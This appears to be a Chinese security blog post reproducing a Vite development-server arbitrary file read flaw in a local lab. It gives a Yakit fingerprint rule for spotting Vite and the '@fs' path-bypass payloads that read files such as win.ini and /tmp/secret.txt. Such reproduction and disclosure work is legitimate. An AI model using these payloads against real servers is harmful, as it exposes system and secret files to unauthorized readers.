声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途给予盈利等目的,否则后果自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
文章有疑问的,可以公众号发消息问我,或者留言。我每天都会看的。
字数 485,阅读大约需 3 分钟
前言
Vitejs 是一款基于原生 ES 模块的新一代前端构建工具。项目地址:https://github.com/vitejs/vite
在渗透测试的时候,发现前端用这个的框架的还不少。于是就记录了一下。
vitejs指纹
/@vite/client
在Yakit中配置匹配信息
[{ "Rule": "/@vite/client", "NoReplace": true, "Color": "red", "EnableForResponse": true, "EnableForHeader": false, "EnableForBody": true, "Index": 56, "ExtraTag": [ "vitejs" ], "VerboseName": "vitejs"}]
提示存在vitejs
测试http://192.168.23.1/@fs/
可以看到打印绝对路径,说明确实存在vitejs组件,之后可以尝试他的历史漏洞。
可参考:https://github.com/vitejs/vite/security
安装Vitejs
npm create [email protected]cd vite-project/
配置Vite版本
打开package.json,去掉vite版本6.2.0前面的~
和^
-
• ^:表示兼容更新,即允许安装大于指定版本但小于下一个主要版本的更新。例如^5.2.1 允许安装 5.x.x 系列的最新版本,但不允许安装 6.x.x 系列。 -
• :表示补丁更新,即允许安装大于指定版本但小于下一个次要版本的更新。例如5.7.2 允许安装 5.7.x 系列的最新版本,但不允许安装 5.8.x 系列。
配置vite的对外host
打开package.json,修改dev
"dev": "vite --host 0.0.0.0",
启动vite
安装依赖
npm installnpm run dev
访问 http://192.168.23.1:5173/
漏洞复现
参考:
-
• https://github.com/advisories/GHSA-x574-m823-4x7w
访问URL,http://192.168.23.1:5173/@fs/
-
• @fs -
• Vite 中的 @fs 机制是 Vite 在开发服务器中引入的一种特殊的模块解析前缀,其主要目的是支持从文件系统的任意位置加载模块,为开发带来了更大的灵活性。
如下图,可以看到@fs只允许获取指定目录的文件
如果是不存在的文件
如果文件存在,但目录不在指定目录内,返回403
/@fs/tmp/secret.txt?import&raw??/@fs/C:/windows/win.ini?import&?inline=1.wasm?init
可以看到存在base64,解码
可以看到成功绕过限制,读取任意文件
参考资料
-
• https://xz.aliyun.com/news/17745
原文始发于微信公众号(进击的HACK):Vitejs漏洞复现与利用
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论